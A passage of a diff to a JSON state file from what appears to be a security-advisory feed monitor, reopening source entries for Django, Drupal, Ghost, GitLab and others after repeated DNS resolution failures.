Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "astro::OSV Astro::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.133 + "summary": "astro::OSV Astro::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -248,10 +239,10 @@ "display_name": "Caddy", "source_name": "OSV Caddy", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -265,8 +256,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "caddy::OSV Caddy::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.653 + "summary": "caddy::OSV Caddy::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -275,10 +265,10 @@ "display_name": "Directus", "source_name": "Directus GitHub Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -292,8 +282,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/directus/directus/security/advisories", - "summary": "directus::Directus GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.725 + "summary": "directus::Directus GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -302,10 +291,10 @@ "display_name": "Directus", "source_name": "OSV Directus", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -319,8 +308,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.716 + "summary": "directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -329,10 +317,10 @@ "display_name": "Discourse", "source_name": "Discourse Release Notes RSS", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -346,8 +334,7 @@ "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://meta.discourse.org/tag/release-notes.rss", - "summary": "discourse::Discourse Release Notes RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.716 + "summary": "discourse::Discourse Release Notes RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -356,10 +343,10 @@ "display_name": "Discourse", "source_name": "Discourse Security RSS", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -373,8 +360,7 @@ "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://meta.discourse.org/tag/security.rss", - "summary": "discourse::Discourse Security RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.722 + "summary": "discourse::Discourse Security RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -383,10 +369,10 @@ "display_name": "Discourse", "source_name": "OSV Discourse", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -400,8 +386,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "discourse::OSV Discourse::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.474 + "summary": "discourse::OSV Discourse::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -410,10 +395,10 @@ "display_name": "Django", "source_name": "Django Security Releases Archive", "source_kind": "vendor-index", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -427,8 +412,7 @@ "message": "HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://docs.djangoproject.com/en/dev/releases/security/", - "summary": "django::Django Security Releases Archive::network::HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.926 + "summary": "django::Django Security Releases Archive::network::HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -437,10 +421,10 @@ "display_name": "Django", "source_name": "Django Security Weblog", "source_kind": "vendor-index", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -454,8 +438,7 @@ "message": "HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.djangoproject.com/weblog/", - "summary": "django::Django Security Weblog::network::HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.868 + "summary": "django::Django Security Weblog::network::HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -464,10 +447,10 @@ "display_name": "Django", "source_name": "OSV Django", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -481,8 +464,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "django::OSV Django::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.919 + "summary": "django::OSV Django::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -491,10 +473,10 @@ "display_name": "Drupal", "source_name": "Drupal Security Advisories RSS", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -508,8 +490,7 @@ "message": "HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.drupal.org/security/rss.xml", - "summary": "drupal::Drupal Security Advisories RSS::network::HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.703 + "summary": "drupal::Drupal Security Advisories RSS::network::HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -518,10 +499,10 @@ "display_name": "Drupal", "source_name": "OSV Drupal", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -535,8 +516,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "drupal::OSV Drupal::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.727 + "summary": "drupal::OSV Drupal::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -545,10 +525,10 @@ "display_name": "Echo", "source_name": "OSV Echo", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -562,8 +542,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "echo::OSV Echo::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.926 + "summary": "echo::OSV Echo::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -572,10 +551,10 @@ "display_name": "esbuild", "source_name": "OSV esbuild", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -589,8 +568,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "esbuild::OSV esbuild::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.855 + "summary": "esbuild::OSV esbuild::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -599,10 +577,10 @@ "display_name": "Express", "source_name": "OSV Express", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -616,8 +594,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "express::OSV Express::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.23 + "summary": "express::OSV Express::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -626,10 +603,10 @@ "display_name": "Fastify", "source_name": "OSV Fastify", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -643,8 +620,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "fastify::OSV Fastify::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.225 + "summary": "fastify::OSV Fastify::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -653,10 +629,10 @@ "display_name": "Flask", "source_name": "OSV Flask", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -670,8 +646,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "flask::OSV Flask::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.945 + "summary": "flask::OSV Flask::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -680,10 +655,10 @@ "display_name": "Ghost", "source_name": "Ghost GitHub Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -697,8 +672,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/TryGhost/Ghost/security/advisories", - "summary": "ghost::Ghost GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.716 + "summary": "ghost::Ghost GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -707,10 +681,10 @@ "display_name": "Ghost", "source_name": "OSV Ghost", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -724,8 +698,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "ghost::OSV Ghost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.706 + "summary": "ghost::OSV Ghost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -734,10 +707,10 @@ "display_name": "Gin", "source_name": "OSV Gin", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -751,8 +724,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "gin::OSV Gin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.933 + "summary": "gin::OSV Gin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -761,10 +733,10 @@ "display_name": "Gitea", "source_name": "OSV Gitea", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -778,8 +750,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "gitea::OSV Gitea::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.731 + "summary": "gitea::OSV Gitea::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -788,10 +759,10 @@ "display_name": "GitLab CE", "source_name": "GitLab Advisory Database", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -805,8 +776,7 @@ "message": "HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename 